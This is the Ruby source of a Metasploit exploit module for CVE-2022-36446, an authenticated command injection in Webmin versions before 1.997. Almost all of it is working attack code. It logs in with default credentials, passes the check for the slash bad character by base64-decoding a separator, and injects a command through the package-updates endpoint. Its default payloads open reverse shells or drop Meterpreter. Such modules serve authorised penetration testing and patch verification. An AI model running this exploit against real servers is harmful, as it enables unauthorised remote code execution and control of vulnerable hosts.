Webmin Package Updates Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Webmin Package Updates RCE',        'Description' => %q{          This module exploits an arbitrary command injection in Webmin          versions prior to 1.997.          Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform          package updates and installation. Due to a lack of input          sanitization, it is possibe to inject arbitrary command that will be          concatenated to the package manager call.          This exploit requires authentication and the account must have access          to the Software Package Updates module.        },        'License' => MSF_LICENSE,        'Author' => [          'Christophe De La Fuente', # MSF module          'Emir Polat' # Discovery and PoC        ],        'References' => [          [ 'EDB', '50998' ],          [ 'URL', 'https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165'],          [ 'CVE', '2022-36446']        ],        'DisclosureDate' => '2022-07-26',        'Platform' => ['unix', 'linux'],        'Privileged' => true,        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64],        'Payload' => { 'BadChars' => '/' },        'DefaultOptions' => {          'RPORT' => 10000,          'SSL' => true        },        'Targets' => [          [            'Unix In-Memory',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_memory,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }            }          ],          [            'Linux Dropper (x86 & x64)',            {              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'Type' => :linux_dropper,              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }            }          ],          [            'Linux Dropper (ARM64)',            {              'Platform' => 'linux',              'Arch' => ARCH_AARCH64,              'Type' => :linux_dropper,              'DefaultOptions' => { 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp' }            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'Base path to Webmin', '/']),        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),        OptString.new('PASSWORD', [ false, 'Password to login with', '123456'])      ]    )  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path)    )    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") unless res    if res.body.include?('This web server is running in SSL mode.')      return CheckCode::Unknown("#{peer} - Please enable the SSL option to proceed")    end    version = res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first    return CheckCode::Unknown("#{peer} - Webmin version not detected") unless version    version = Rex::Version.new(version)    vprint_status("Webmin #{version} detected")    unless version < Rex::Version.new('1.997')      return CheckCode::Safe("#{peer} - Webmin #{version} is not a supported target")    end    vprint_good("Webmin #{version} is a supported target")    CheckCode::Appears  rescue ::Rex::ConnectionError    return CheckCode::Unknown("#{peer} - Could not connect to web service")  end  def do_login    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/session_login.cgi'),      'headers' => { 'Referer' => full_uri },      'cookie' => 'testing=1',      'keep_cookies' => true,      'vars_post' => {        'user' => datastore['USERNAME'],        'pass' => datastore['PASSWORD']      }    })    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302    print_good('Logged in!')  end  def execute_command(cmd, _opts = {})    cmd = cmd.gsub('/', '${SEP}').gsub('\'', '"')    cmd = "#{rand_text_alphanumeric(4)};SEP=$(perl -MMIME::Base64 -e \"print decode_base64('Lw==')\")&&#{cmd}"    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/package-updates/update.cgi'),      'headers' => { 'Referer' => full_uri },      'vars_post' => {        'mode' => 'new',        'search' => rand_text(10),        'redir' => '',        'redirdesc' => '',        'u' => cmd,        'confirm' => 'Install Now'      }    })  end  def exploit    print_status('Attempting login')    do_login    print_status('Sending payload')    case target['Type']    when :unix_memory      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager    end  rescue ::Rex::ConnectionError    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  endend